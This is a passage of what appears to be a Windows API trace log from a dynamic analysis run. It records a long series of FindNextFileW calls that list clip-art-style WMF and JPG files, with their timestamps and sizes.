nFileSizeHigh=0x0, nFileSizeLow=0x829a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086432.WMF", cAlternateFileName="")) returned 1 [0249.560] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x375e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086478.WMF", cAlternateFileName="")) returned 1 [0249.560] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4dba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0089945.WMF", cAlternateFileName="")) returned 1 [0249.561] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0089992.WMF", cAlternateFileName="")) returned 1 [0249.561] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5314, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090027.WMF", cAlternateFileName="")) returned 1 [0249.561] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb758, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090087.WMF", cAlternateFileName="")) returned 1 [0249.561] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090089.WMF", cAlternateFileName="")) returned 1 [0249.562] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6e34, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090149.WMF", cAlternateFileName="")) returned 1 [0249.562] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x44e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090390.WMF", cAlternateFileName="")) returned 1 [0249.562] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd6c900, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3cd6c900, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0xd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090777.WMF", cAlternateFileName="")) returned 1 [0249.563] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e07f600, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e07f600, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0x5b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090779.WMF", cAlternateFileName="")) returned 1 [0249.563] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e07f600, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e07f600, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0x14c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090781.WMF", cAlternateFileName="")) returned 1 [0249.563] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e07f600, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e07f600, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0x1b16, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090783.WMF", cAlternateFileName="")) returned 1 [0249.563] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa442, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0093905.WMF", cAlternateFileName="")) returned 1 [0249.563] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x136a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0098497.WMF", cAlternateFileName="")) returned 1 [0249.564] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x60b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099145.JPG", cAlternateFileName="")) returned 1 [0249.564] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x40d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099146.WMF", cAlternateFileName="")) returned 1 [0249.564] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x5f39, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099147.JPG", cAlternateFileName="")) returned 1 [0249.564] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4752, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099148.JPG", cAlternateFileName="")) returned 1 [0249.564] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x11dfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099149.WMF", cAlternateFileName="")) returned 1 [0249.565] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x559a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099150.JPG", cAlternateFileName="")) returned 1 [0249.574] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x65e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099151.WMF", cAlternateFileName="")) returned 1 [0249.575] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2dae, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099152.JPG", cAlternateFileName="")) returned 1 [0249.575] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3632, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099153.WMF", cAlternateFileName="")) returned 1 [0249.575] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1b11, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099154.JPG", cAlternateFileName="")) returned 1 [0249.575] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x227a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099155.JPG", cAlternateFileName="")) returned 1 [0249.576] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3682, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099156.JPG", cAlternateFileName="")) returned 1 [0249.576] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x25c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099157.JPG", cAlternateFileName="")) returned 1 [0249.576] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x6630, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099158.WMF", cAlternateFileName="")) returned 1 [0249.576] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x6b9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099159.WMF", cAlternateFileName="")) returned 1 [0249.576] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3b29, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099160.JPG", cAlternateFileName="")) returned 1 [0249.577] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1bf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099161.JPG", cAlternateFileName="")) returned 1 [0249.577] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4cc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099162.JPG", cAlternateFileName="")) returned 1 [0249.578] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x5754, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099163.WMF", cAlternateFileName="")) returned 1 [0249.578] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x55ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099164.WMF", cAlternateFileName="")) returned 1 [0249.578] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xc53a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099165.JPG", cAlternateFileName="")) returned 1 [0249.578] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xfcff, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099166.JPG", cAlternateFileName="")) returned 1 [0249.578] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xabad, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099167.JPG", cAlternateFileName="")) returned 1 [0249.579] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4ed3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099168.JPG", cAlternateFileName="")) returned 1 [0249.579] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x27d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099169.WMF", cAlternateFileName="")) returned 1 [0249.579] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x5ee4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099170.WMF", cAlternateFileName="")) returned 1 [0249.579] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2232, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099171.WMF", cAlternateFileName="")) returned 1 [0249.579] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xe392, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099172.WMF", cAlternateFileName="")) returned 1 [0249.580] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x9114, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099173.WMF", cAlternateFileName="")) returned 1 [0249.580] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1846, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099174.WMF", cAlternateFileName="")) returned 1 [0249.580] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2610, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099175.WMF", cAlternateFileName="")) returned 1 [0249.580] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099176.WMF", cAlternateFileName="")) returned 1 [0249.580] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x150a, dwReserved0=0x0, 